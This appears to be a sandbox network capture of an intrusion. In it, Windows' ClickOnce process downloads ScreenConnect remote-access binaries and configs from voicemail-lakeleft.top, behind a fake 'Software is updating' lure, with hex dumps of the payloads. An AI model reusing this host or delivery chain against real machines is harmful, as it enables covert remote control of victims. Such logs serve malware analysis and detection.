2024-11-08 10:01:05 UTC	16384	IN	Data Raw: 47 6c 6a 53 32 56 35 56 47 39 72 5a 57 34 39 59 6a 63 33 59 54 56 6a 4e 54 59 78 4f 54 4d 30 5a 54 41 34 4f 53 4e 54 65 58 4e 30 5a 57 30 75 55 6d 56 7a 62 33 56 79 59 32 56 7a 4c 6c 4a 31 62 6e 52 70 62 57 56 53 5a 58 4e 76 64 58 4a 6a 5a 56 4e 6c 64 41 49 41 41 41 41 42 41 41 41 41 41 41 41 41 41 46 42 42 52 46 42 42 52 46 43 2f 6f 32 35 66 41 41 41 41 41 4f 45 41 41 41 41 67 51 51 42 77 41 48 41 41 62 41 42 70 41 47 4d 41 59 51 42 30 41 47 6b 41 62 77 42 75 41 46 51 41 61 51 42 30 41 47 77 41 5a 51 41 41 41 41 41 41 41 54 35 54 62 32 5a 30 64 32 46 79 5a 53 42 70 63 79 42 31 63 47 52 68 64 47 6c 75 5a 79 34 75 4c 69 42 51 62 47 56 68 63 32 55 67 5a 47 38 67 62 6d 39 30 49 48 52 31 63 6d 34 67 62 32 5a 6d 49 48 6c 76 64 58 49 67 59 32 39 74 63 48 56 30 Data Ascii: GljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAABAAAAAAAAAFBBRFBBRFC/o25fAAAAAOEAAAAgQQBwAHAAbABpAGMAYQB0AGkAbwBuAFQAaQB0AGwAZQAAAAAAAT5Tb2Z0d2FyZSBpcyB1cGRhdGluZy4uLiBQbGVhc2UgZG8gbm90IHR1cm4gb2ZmIHlvdXIgY29tcHV0
2024-11-08 10:01:06 UTC	16384	IN	Data Raw: 6e 32 53 49 53 73 41 52 4e 32 4b 78 43 42 6f 41 2f 69 54 74 74 53 4f 77 67 2b 39 44 36 47 36 52 49 48 51 2f 79 52 43 58 67 44 50 37 4f 4b 4a 71 78 47 49 49 43 51 41 2b 32 2f 65 30 48 59 6b 65 50 42 39 43 46 33 76 6e 57 48 55 4a 48 4a 65 41 73 2f 73 34 59 6d 72 45 59 67 67 4a 41 47 36 30 34 71 68 39 71 7a 6d 45 37 69 64 6c 53 32 41 45 48 4a 68 62 63 54 5a 69 63 51 49 4e 59 4a 36 4c 77 62 51 64 6c 78 2f 38 48 6b 4b 50 69 67 58 78 64 4a 62 79 64 78 45 77 6a 56 69 63 51 41 50 41 73 71 58 76 61 53 64 43 51 58 67 39 68 45 36 4c 78 58 43 6d 65 42 6c 48 64 41 4a 75 66 68 39 6a 49 78 59 6e 30 41 42 32 6d 55 52 58 2b 6e 35 68 35 50 4d 7a 46 49 78 42 38 54 4b 4f 2b 41 53 38 39 54 61 2b 52 69 78 4f 6f 41 48 4d 6e 6a 76 33 32 68 45 62 34 6f 50 48 6e 64 44 72 42 57 4e Data Ascii: n2SISsARN2KxCBoA/iTttSOwg+9D6G6RIHQ/yRCXgDP7OKJqxGIICQA+2/e0HYkePB9CF3vnWHUJHJeAs/s4YmrEYggJAG604qh9qzmE7idlS2AEHJhbcTZicQINYJ6LwbQdlx/8HkKPigXxdJbydxEwjVicQAPAsqXvaSdCQXg9hE6LxXCmeBlHdAJufh9jIxYn0AB2mURX+n5h5PMzFIxB8TKO+AS89Ta+RixOoAHMnjv32hEb4oPHndDrBWN
2024-11-08 10:01:06 UTC	3543	IN	Data Raw: 79 76 67 75 4a 45 58 51 41 41 4b 59 31 45 44 4b 75 66 68 6c 68 49 71 67 41 51 51 77 71 57 6b 63 39 2b 4f 58 45 5a 6f 45 44 53 43 41 53 51 32 6b 48 45 4d 58 6b 69 4a 6f 41 41 46 4d 36 67 72 63 37 30 4a 36 71 77 67 61 41 41 47 63 36 77 72 63 37 30 4a 36 61 42 49 30 41 41 49 34 31 30 44 4b 2b 43 36 6b 56 34 34 6e 67 41 41 6d 4e 59 30 6a 76 67 76 70 30 50 45 45 45 4d 41 6b 70 6e 47 4d 59 52 66 53 73 75 4d 4a 49 49 42 4a 58 49 48 48 73 41 76 70 32 50 45 45 45 4d 41 6b 72 73 42 6a 36 45 49 79 69 42 4a 41 41 4a 4d 61 53 42 6d 2f 43 38 6b 67 53 67 41 42 54 48 49 67 5a 66 77 75 4a 49 4d 6f 41 51 51 77 79 57 6b 63 4b 37 30 41 76 6d 38 51 4a 51 41 43 4f 4e 63 30 6a 6e 76 68 58 55 68 71 73 41 41 45 4d 4b 6b 72 38 47 70 38 46 35 49 61 4c 41 41 42 7a 48 55 37 74 33 51 Data Ascii: yvguJEXQAAKY1EDKufhlhIqgAQQwqWkc9+OXEZoEDSCASQ2kHEMXkiJoAAFM6grc70J6qwgaAAGc6wrc70J6aBI0AAI410DK+C6kV44ngAAmNY0jvgvp0PEEEMAkpnGMYRfSsuMJIIBJXIHHsAvp2PEEEMAkrsBj6EIyiBJAAJMaSBm/C8kgSgABTHIgZfwuJIMoAQQwyWkcK70Avm8QJQACONc0jnvhXUhqsAAEMKkr8Gp8F5IaLAABzHU7t3Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:07 UTC	104	OUT	GET /Bin/ScreenConnect.Client.manifest HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:01:07 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 17866 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:06 GMT Connection: close
2024-11-08 10:01:07 UTC	16168	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 61 73 6d 76 31 3a 61 73 73 65 6d 62 6c 79 20 78 73 69 3a 73 63 68 65 6d 61 4c 6f 63 61 74 69 6f 6e 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 20 61 73 73 65 6d 62 6c 79 2e 61 64 61 70 74 69 76 65 2e 78 73 64 22 20 6d 61 6e 69 66 65 73 74 56 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 31 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 22 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 Data Ascii: <?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv
2024-11-08 10:01:07 UTC	1698	IN	Data Raw: 32 71 32 41 53 34 2b 6a 57 75 66 63 78 34 64 79 74 35 42 69 67 32 4d 45 6a 52 30 65 7a 6f 51 39 75 6f 36 74 74 6d 41 61 44 47 37 64 71 5a 79 33 53 76 55 51 61 6b 68 43 42 6a 37 41 37 43 64 66 48 6d 7a 4a 61 77 76 39 71 59 46 53 4c 53 63 47 54 37 65 47 30 58 4f 42 76 36 79 62 35 6a 4e 57 79 2b 54 67 51 35 75 72 4f 6b 66 57 2b 30 2f 74 76 6b 32 45 30 58 4c 79 54 52 53 69 44 4e 69 70 6d 4b 46 2b 77 63 38 36 4c 4a 69 55 47 73 6f 50 55 58 50 59 56 47 55 7a 74 59 75 42 65 4d 2f 4c 6f 36 4f 77 4b 70 37 41 44 4b 35 47 79 4e 6e 6d 2b 39 36 30 49 48 6e 57 6d 5a 63 79 37 34 30 68 51 38 33 65 52 47 76 37 62 55 4b 4a 47 79 47 46 59 6d 50 56 38 41 68 59 38 67 79 69 74 4f 59 62 73 31 4c 63 4e 55 39 44 34 52 2b 5a 31 4d 49 33 73 4d 4a 4e 32 46 4b 5a 62 53 31 31 30 59 55 Data Ascii: 2q2AS4+jWufcx4dyt5Big2MEjR0ezoQ9uo6ttmAaDG7dqZy3SvUQakhCBj7A7CdfHmzJawv9qYFSLScGT7eG0XOBv6yb5jNWy+TgQ5urOkfW+0/tvk2E0XLyTRSiDNipmKF+wc86LJiUGsoPUXPYVGUztYuBeM/Lo6OwKp7ADK5GyNnm+960IHnWmZcy740hQ83eRGv7bUKJGyGFYmPV8AhY8gyitOYbs1LcNU9D4R+Z1MI3sMJN2FKZbS110YU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49722	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:13 UTC	106	OUT	GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:01:13 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 95520 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:12 GMT Connection: close
2024-11-08 10:01:13 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f8 10 28 a3 bc 71 46 f0 bc 71 46 f0 bc 71 46 f0 08 ed b7 f0 b6 71 46 f0 08 ed b5 f0 c6 71 46 f0 08 ed b4 f0 a4 71 46 f0 3c 0a 42 f1 ad 71 46 f0 3c 0a 45 f1 a8 71 46 f0 3c 0a 43 f1 96 71 46 f0 b5 09 d5 f0 b6 71 46 f0 a2 23 d5 f0 bf 71 46 f0 bc 71 47 f0 cc 71 46 f0 32 0a 4f f1 bd 71 46 f0 32 0a b9 f0 bd 71 46 f0 32 0a 44 f1 bd 71 46 f0 52 69 63 68 bc 71 46 f0 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(qFqFqFqFqFqF<BqF<EqF<CqFqF#qFqGqF2OqF2qF2DqFRichqF
2024-11-08 10:01:13 UTC	16384	IN	Data Raw: 75 08 85 f6 74 0c 8b ce ff 15 88 d1 40 00 ff d6 eb 06 ff 15 e4 d0 40 00 5e 5d c3 55 8b ec 56 68 90 dd 40 00 68 88 dd 40 00 68 90 dd 40 00 6a 03 e8 4a fe ff ff 83 c4 10 8b f0 ff 75 0c ff 75 08 85 f6 74 0c 8b ce ff 15 88 d1 40 00 ff d6 eb 06 ff 15 e8 d0 40 00 5e 5d c3 55 8b ec 56 68 a4 dd 40 00 68 9c dd 40 00 68 a4 dd 40 00 6a 04 e8 0c fe ff ff 8b f0 83 c4 10 85 f6 74 15 ff 75 10 8b ce ff 75 0c ff 75 08 ff 15 88 d1 40 00 ff d6 eb 0c ff 75 0c ff 75 08 ff 15 60 d0 40 00 5e 5d c3 56 e8 56 ed ff ff 8b 70 04 85 f6 74 0a 8b ce ff 15 88 d1 40 00 ff d6 e8 de 15 00 00 cc 55 8b ec 8b 45 10 8b 4d 08 81 78 04 80 00 00 00 7f 06 0f be 41 08 5d c3 8b 41 08 5d c3 55 8b ec 8b 45 08 8b 4d 10 89 48 08 5d c3 53 51 bb 30 40 41 00 e9 0f 00 00 00 cc cc cc cc 53 51 bb 30 40 41 00 Data Ascii: ut@@^]UVh@h@h@jJuut@@^]UVh@h@h@jtuuu@uu`@^]VVpt@UEMxA]A]UEMH]SQ0@ASQ0@A
2024-11-08 10:01:13 UTC	16384	IN	Data Raw: ff 01 8b 88 80 00 00 00 85 c9 74 03 f0 ff 01 8b 88 8c 00 00 00 85 c9 74 03 f0 ff 01 56 6a 06 8d 48 28 5e 81 79 f8 38 46 41 00 74 09 8b 11 85 d2 74 03 f0 ff 02 83 79 f4 00 74 0a 8b 51 fc 85 d2 74 03 f0 ff 02 83 c1 10 83 ee 01 75 d6 ff b0 9c 00 00 00 e8 4e 01 00 00 59 5e 5d c3 8b ff 55 8b ec 51 53 56 8b 75 08 57 8b 86 88 00 00 00 85 c0 74 6c 3d 48 46 41 00 74 65 8b 46 7c 85 c0 74 5e 83 38 00 75 59 8b 86 84 00 00 00 85 c0 74 18 83 38 00 75 13 50 e8 30 d9 ff ff ff b6 88 00 00 00 e8 28 fb ff ff 59 59 8b 86 80 00 00 00 85 c0 74 18 83 38 00 75 13 50 e8 0e d9 ff ff ff b6 88 00 00 00 e8 04 fc ff ff 59 59 ff 76 7c e8 f9 d8 ff ff ff b6 88 00 00 00 e8 ee d8 ff ff 59 59 8b 86 8c 00 00 00 85 c0 74 45 83 38 00 75 40 8b 86 90 00 00 00 2d fe 00 00 00 50 e8 cc d8 ff ff 8b Data Ascii: ttVjH(^y8FAttytQtuNY^]UQSVuWtl=HFAteF\|t^8uYt8uP0(YYt8uPYYv\|YYtE8u@-P
2024-11-08 10:01:13 UTC	16384	IN	Data Raw: fe 72 09 8b 48 08 03 ce 3b f9 72 0a 42 83 c0 28 3b d3 72 e8 33 c0 5f 5e 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a fe 68 20 2e 41 00 68 80 36 40 00 64 a1 00 00 00 00 50 83 ec 08 53 56 57 a1 04 40 41 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 89 65 e8 c7 45 fc 00 00 00 00 68 00 00 40 00 e8 7c 00 00 00 83 c4 04 85 c0 74 54 8b 45 08 2d 00 00 40 00 50 68 00 00 40 00 e8 52 ff ff ff 83 c4 08 85 c0 74 3a 8b 40 24 c1 e8 1f f7 d0 83 e0 01 c7 45 fc fe ff ff ff 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 8b 45 ec 8b 00 33 c9 81 38 05 00 00 c0 0f 94 c1 8b c1 c3 8b 65 e8 c7 45 fc fe ff ff ff 33 c0 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc 55 8b ec 8b 45 08 b9 4d 5a 00 00 66 39 08 75 1d 8b 48 3c 03 c8 81 39 Data Ascii: rH;rB(;r3_^[]Ujh .Ah6@dPSVW@A1E3PEdeEh@\|tTE-@Ph@Rt:@$EMdY_^[]E38eE3MdY_^[]UEMZf9uH<9
2024-11-08 10:01:13 UTC	16384	IN	Data Raw: 64 00 65 00 2d 00 61 00 74 00 00 00 64 00 65 00 2d 00 63 00 68 00 00 00 64 00 65 00 2d 00 64 00 65 00 00 00 64 00 65 00 2d 00 6c 00 69 00 00 00 64 00 65 00 2d 00 6c 00 75 00 00 00 64 00 69 00 76 00 2d 00 6d 00 76 00 00 00 00 00 65 00 6c 00 2d 00 67 00 72 00 00 00 65 00 6e 00 2d 00 61 00 75 00 00 00 65 00 6e 00 2d 00 62 00 7a 00 00 00 65 00 6e 00 2d 00 63 00 61 00 00 00 65 00 6e 00 2d 00 63 00 62 00 00 00 65 00 6e 00 2d 00 67 00 62 00 00 00 65 00 6e 00 2d 00 69 00 65 00 00 00 65 00 6e 00 2d 00 6a 00 6d 00 00 00 65 00 6e 00 2d 00 6e 00 7a 00 00 00 65 00 6e 00 2d 00 70 00 68 00 00 00 65 00 6e 00 2d 00 74 00 74 00 00 00 65 00 6e 00 2d 00 75 00 73 00 00 00 65 00 6e 00 2d 00 7a 00 61 00 00 00 65 00 6e 00 2d 00 7a 00 77 00 00 00 65 00 73 00 2d 00 61 00 72 00 00 Data Ascii: de-atde-chde-dede-lide-ludiv-mvel-gren-auen-bzen-caen-cben-gben-ieen-jmen-nzen-phen-tten-usen-zaen-zwes-ar
2024-11-08 10:01:14 UTC	13816	IN	Data Raw: 1f 33 30 33 9a 33 a1 33 b3 33 bc 33 04 34 16 34 1e 34 28 34 31 34 42 34 54 34 6f 34 af 34 c1 34 c7 34 db 34 2f 35 39 35 3f 35 45 35 b0 35 b9 35 f2 35 fd 35 f2 37 25 38 2a 38 50 39 68 39 95 39 b0 39 c0 39 c5 39 cf 39 d4 39 df 39 ea 39 fe 39 4f 3a f6 3a 17 3b 70 3b 7b 3b ca 3b e2 3b 2c 3c c2 3c d9 3c 57 3d 9b 3d ad 3d e3 3d e8 3d f5 3d 01 3e 17 3e 2a 3e 5d 3e 6c 3e 71 3e 82 3e 88 3e 93 3e 9b 3e a6 3e ac 3e b7 3e bd 3e cb 3e d4 3e d9 3e e6 3e eb 3e f8 3e 06 3f 0d 3f 15 3f 2e 3f 40 3f 4c 3f 54 3f 6c 3f 91 3f a2 3f ab 3f f2 3f 00 60 00 00 18 01 00 00 26 30 4d 30 67 30 be 30 cb 30 d6 30 e0 30 e6 30 fa 30 06 31 7f 31 88 31 b4 31 bd 31 c5 31 e2 31 07 32 19 32 35 32 59 32 74 32 7f 32 25 33 d8 33 e1 33 e9 33 04 35 0a 35 1c 35 2f 35 7f 35 b0 35 e0 35 2b 36 27 37 3b Data Ascii: 3033333444(414B4T4o44444/595?5E555557%88P9h9999999999O::;p;{;;;,<<<W======>>>]>l>q>>>>>>>>>>>>>>>???.?@?L?T?l?????`&0M0g000000011111112252Y2t22%3333555/5555+6'7;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49724	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:15 UTC	138	OUT	GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:15 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 61216 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:15 GMT Connection: close
2024-11-08 10:01:15 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4c e0 0e b8 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 ba 00 00 00 0a 00 00 00 00 00 00 06 d8 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 33 5d 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL"0 @ 3]@
2024-11-08 10:01:15 UTC	16384	IN	Data Raw: 16 00 01 00 93 0e 06 00 de 10 22 0a 06 00 60 10 22 0a 06 00 42 26 7b 0e 06 00 e9 1d 68 0e 06 00 31 0f 46 00 06 00 f3 1a 9d 0e 06 00 53 1f a1 0e 06 00 79 27 a6 0e 06 00 84 18 22 0a 36 00 6d 08 aa 0e 16 00 9b 00 af 0e 16 00 b4 00 af 0e 16 00 29 03 af 0e 36 00 6d 08 b9 0e 16 00 37 01 af 0e 06 00 bf 1c be 0e 16 00 a8 1a c3 0e 36 00 6d 08 d0 0e 16 00 25 00 d5 0e 16 00 36 19 87 0e 36 00 6d 08 e7 0e 16 00 ff 07 ec 0e 16 00 36 08 f7 0e 06 00 0f 2f 01 0f 06 00 51 20 57 0e 06 00 c6 19 06 0f 06 00 d8 19 06 0f 06 00 70 19 0b 0f 16 00 a8 1a c3 0e 36 00 6d 08 10 0f 16 00 e7 00 15 0f 16 00 46 03 1e 0f 16 00 d4 05 29 0f 16 00 c1 06 34 0f 16 00 6b 07 34 0f 16 00 73 03 49 0f 16 00 83 01 54 0f 16 00 d5 03 5f 0f 36 00 6d 08 cb 0a 16 00 be 01 c2 0a 16 00 f9 03 c2 0a 16 00 19 Data Ascii: "`"B&{h1FSy'"6m)6m76m%66m6/Q Wp6mF)4k4sIT_6m
2024-11-08 10:01:15 UTC	16384	IN	Data Raw: 54 68 72 65 73 68 6f 6c 64 4c 61 62 65 6c 00 53 79 73 74 65 6d 2e 43 6f 6d 70 6f 6e 65 6e 74 4d 6f 64 65 6c 00 61 64 64 5f 4d 6f 75 73 65 57 68 65 65 6c 00 50 6f 70 75 6c 61 74 65 50 61 6e 65 6c 00 65 6d 70 74 79 52 65 73 75 6c 74 73 50 61 6e 65 6c 00 72 65 73 75 6c 74 73 50 61 6e 65 6c 00 70 61 6e 65 6c 00 53 65 6c 65 63 74 41 6c 6c 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 57 69 6e 64 6f 77 73 42 61 63 6b 73 74 61 67 65 53 68 65 6c 6c 00 73 65 74 5f 41 75 74 6f 53 63 72 6f 6c 6c 00 41 73 73 65 72 74 4e 6f 6e 4e 75 6c 6c 00 67 65 74 5f 43 6f 6e 74 72 6f 6c 00 53 63 72 6f 6c 6c 61 62 6c 65 43 6f 6e 74 72 6f 6c 00 63 6f 6e 74 72 6f 6c 00 67 65 74 5f 4c 50 61 72 61 6d 00 67 65 74 5f 57 50 61 72 61 6d 00 50 72 6f 67 72 61 6d 00 67 65 74 5f 49 74 65 6d 00 Data Ascii: ThresholdLabelSystem.ComponentModeladd_MouseWheelPopulatePanelemptyResultsPanelresultsPanelpanelSelectAllScreenConnect.WindowsBackstageShellset_AutoScrollAssertNonNullget_ControlScrollableControlcontrolget_LParamget_WParamProgramget_Item
2024-11-08 10:01:15 UTC	12280	IN	Data Raw: 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 42 00 61 00 63 00 6b 00 73 00 74 00 61 00 67 00 65 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 3c 00 0e 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 00 53 00 63 00 72 00 65 00 65 00 6e 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 00 00 3e 00 0d 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 32 00 34 00 2e 00 32 00 2e 00 31 00 30 00 2e 00 38 00 39 00 39 00 31 00 00 00 00 00 42 00 0d 00 01 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 32 00 34 00 2e 00 32 00 2e 00 31 00 30 00 2e 00 38 00 39 00 39 00 31 Data Ascii: Connect.WindowsBackstageShell.exe<ProductNameScreenConnect>ProductVersion24.2.10.8991BAssembly Version24.2.10.8991

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49726	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:16 UTC	142	OUT	GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:16 UTC	214	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:16 GMT Connection: close
2024-11-08 10:01:16 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:17 UTC	137	OUT	GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:17 UTC	214	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:17 GMT Connection: close
2024-11-08 10:01:17 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49731	194.59.30.201	443	6172	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:01:18 UTC	145	OUT	GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:01:19 UTC	214	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:01:19 GMT Connection: close
